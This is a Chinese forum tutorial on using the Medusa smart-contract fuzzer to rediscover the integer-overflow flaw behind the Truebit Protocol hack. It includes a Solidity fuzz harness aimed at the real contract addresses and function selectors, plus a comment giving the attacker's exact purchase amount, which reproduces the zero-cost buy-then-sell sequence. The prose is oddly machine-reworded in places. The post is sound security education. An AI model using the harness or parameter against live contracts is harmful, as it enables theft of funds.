Medusa - 智能合约 Fuzzing 工具 Truebit Protocol 案例解说(二)

[复制链接]
发表于 2026-2-1 22:42:30 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有账号?立即注册

×
案例配景

20260109,ETH 链上的 Truebit Protocol 遭受了黑客攻击,丧失信 2600 万美元。毛病缘故起因是盘算购买 TRU 代币所须要的 ETH 数目的盘算公式计划存在缺陷,购买大量 TRU 代币时会由于 0.6.10 版本没有防溢出机制而发生上溢出得到 0 值,使得攻击者可以以 0 ETH 购买大量的 TRU 代币,末了抛售完成赢利。
前置内容-完备攻击分析:
Trace 分析



  • 黑客调用 buyTRU() 函数以零资本购入大量的 TRU 代币
  • 然后调用 sellTRU() 函数卖出全部 TRU 代币完成赢利
    随后攻击者使用毛病以零或极低资本的代价购买 TRU 代币后出售的流程重复多次。
Medusa 设置

起首参考《Medusa - 智能合约 Fuzzing 工具先容与案例解说》中的内容对 Medusa 举行初始化与设置。
Fuzz 函数挑选与实现

Fuzz 函数挑选

在编写 fuzz 函数之前,起主要挑选须要对哪些函数举行 fuzz,可以按照以下的条件举行筛选:

  • public 或 external 的函数
  • 非 view 和 prue 的函数
  • 没有权限访问控制的函数
  • 非一次性调用的函数(如 initialize)
    此中满意以上条件的函数有
  1. - `0xa0296215(uint256)`(购买/铸造路径:依赖 `msg.value` 与定价计算,容易出现边界值/除零/舍入问题)
  2. - `0xc471b10b(uint256)`(赎回/燃烧路径:依赖 `allowance`、`transferFrom`、对外部合约调用与 ETH 转账,容易出现重入/资金守恒/状态不一致问题)
  3. - `0xdb5c0f79()`(`payable` 增加储备:fuzz `msg.value` 与多次调用组合)
复制代码
Fuzz 函数实现

在 TRUVulnerabilityFuzz 合约中,实现了对 0xa0296215(buyTRU(uint256 amount)) 和 0xc471b10b(sellTRU(uint256 amount)) 两个未开源函数的 fuzz,以及一个查抄函数 property_checkBalance()

  • 0xa0296215(buyTRU(uint256 amount):须要调用 getPurchasePrice 函数(反编译的时间提供了函数名)盘算对应的 msg.value ,伴随函数调用传入。
  • 0xc471b10b(sellTRU(uint256 amount)) :直接提供卖出的 TRU 代币数目,须要实现 receive 函数吸取返回的 ETH 代币。但是在 fuzz 过程中 Medusa 会实验往 receive 函数中转账,以是要添加权限控制。
  • property 函数则查抄了合约的余额(初始值为 1e28)颠末 sequence 利用后是否增长,假如增长则判定发现了赢利的途径。
  1. contract TRUVulnerabilityFuzz is Test {
  2.     IStdCheats cheats = IStdCheats(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
  3.     address public TruebitProtocol = 0x764C64b2A09b09Acb100B80d8c505Aa6a0302EF2;
  4.     address TRU = 0xf65B5C5104c4faFD4b709d9D60a185eAE063276c;
  5.     constructor() payable {
  6.         cheats.deal(address(this), 1e28);
  7.         IERC20(TRU).approve(TruebitProtocol, type(uint256).max);
  8.     }
  9.     // fuzz buyTRU(uint256 amount)
  10.     function fuzz_0xa0296215(uint256 fuzz_amount) public {
  11.         // TruebitProtocol will check msg.value == getPurchasePrice(fuzz_amount) in 0xa0296215().
  12.         // fuzz_amount = 240442509453545333947284131;   // Amount used by hacker
  13.         uint256 ethAmount = ITruebitProtocol(TruebitProtocol).getPurchasePrice(fuzz_amount);
  14.         if (ethAmount > address(this).balance) return;
  15.         (bool ok,) = TruebitProtocol.call{value: ethAmount}(abi.encodeWithSelector(bytes4(0xa0296215), fuzz_amount));
  16.         require(ok, "Failed to call 0xa0296215");
  17.     }
  18.     // fuzz sellTRU(uint256 amount)
  19.     function fuzz_0xc471b10b(uint256 fuzz_amount) public {
  20.         // 0xc471b10b() is nonPayable
  21.         
  22.         (bool ok,) = TruebitProtocol.call(abi.encodeWithSelector(bytes4(0xc471b10b), fuzz_amount));
  23.         require(ok, "Failed to call 0xc471b10b");
  24.     }
  25.     // function fuzz_0xdb5c0f79(uint256 fuzz_value) public {
  26.     //     fuzz_value = fuzz_value > address(this).balance ? address(this).balance : fuzz_value;
  27.     //     (bool ok,) = TruebitProtocol.call{value: fuzz_value}(abi.encodeWithSelector(bytes4(0xdb5c0f79)));
  28.     //     require(ok, "Failed to call 0xdb5c0f79");
  29.     // }
  30.     function property_checkBalance() external view returns (bool) {
  31.         if (address(this).balance > 1e28) assert(false);
  32.         return true;
  33.     }
  34.     // While fuzzing, the fuzzer will send ETH to the contract.
  35.     receive() external payable {
  36.         if (msg.sender != TruebitProtocol) revert();
  37.     }
  38. }
复制代码
0xa0296215(buyTRU(uint256 amount)

在编写 fuzz 函数的时间,须要关注反编译代码中的 require 函数,尽大概地使得输入的参数满意函数要求,是可以大概正常实验的,如许会大幅进步掷中的概率。好比在 0xa0296215 函数中,须要查抄 msg.value 是否和盘算的到的 v0 同等,而函数 0x1446 就是一个代价盘算函数。

以是在实现 fuzz 函数的时间,须要先通过 getPurchasePrice(0x1446)盘算所须要传入的 msg.value,然后再举行调用。
  1.     // fuzz buyTRU(uint256 amount)
  2.     function fuzz_0xa0296215(uint256 fuzz_amount) public {
  3.         // TruebitProtocol will check msg.value == getPurchasePrice(fuzz_amount) in 0xa0296215().
  4.         // fuzz_amount = 240442509453545333947284131;   // Amount used by hacker
  5.         uint256 ethAmount = ITruebitProtocol(TruebitProtocol).getPurchasePrice(fuzz_amount);
  6.         if (ethAmount > address(this).balance) return;
  7.         (bool ok,) = TruebitProtocol.call{value: ethAmount}(abi.encodeWithSelector(bytes4(0xa0296215), fuzz_amount));
  8.         require(ok, "Failed to call 0xa0296215");
  9.     }
复制代码
0xc471b10b(sellTRU(uint256 amount))

在编写 0xc471b10b 对应的 fuzz 函数时,查抄反编译的内容,须要留意的是 nonPayable 修饰器,尚有对授权额度的查抄。

以是在 constructor 对代币举行了最大额度的授权,然后 call 函数制止带有 msg.value。
  1. constructor() payable {
  2.     cheats.deal(address(this), 1e28);
  3.     IERC20(TRU).approve(TruebitProtocol, type(uint256).max);
  4. }
  5. // fuzz sellTRU(uint256 amount)
  6. function fuzz_0xc471b10b(uint256 fuzz_amount) public {
  7.     // 0xc471b10b() is nonPayable
  8.    
  9.     (bool ok,) = TruebitProtocol.call(abi.encodeWithSelector(bytes4(0xc471b10b), fuzz_amount));
  10.     require(ok, "Failed to call 0xc471b10b");
  11. }
复制代码
结果分析

由于呆板硬件与时间的限定,未能实际 fuzz 出结果
为了验证 fuzz 函数写的时没有标题标,实验硬编码 fuzz_amount 为攻击者所接纳的参数,可以立即得到结果。

体现 fuzz 出来满意条件的 sequence 路径如下,和攻击者实验的利用同等。

通过本案例是实践,得到的结论是,Fuzz 工程除了须要开辟者非常相识目的协议,尽大概地编写出高效的测试函数,还须要高性能的呆板来提供支持。信任通过这两个入门级的案例,也可以大概让读者相识到,fuzz 并不是什么“灵丹灵药”。固然它在实际应用中有着一些范围,但是在履历丰富的开辟者和强大的呆板支持下,仍旧是一个发掘未知毛病的可行之法。
回复

使用道具 举报

登录后关闭弹窗

登录参与点评抽奖  加入IT实名职场社区
去登录
快速回复 返回顶部 返回列表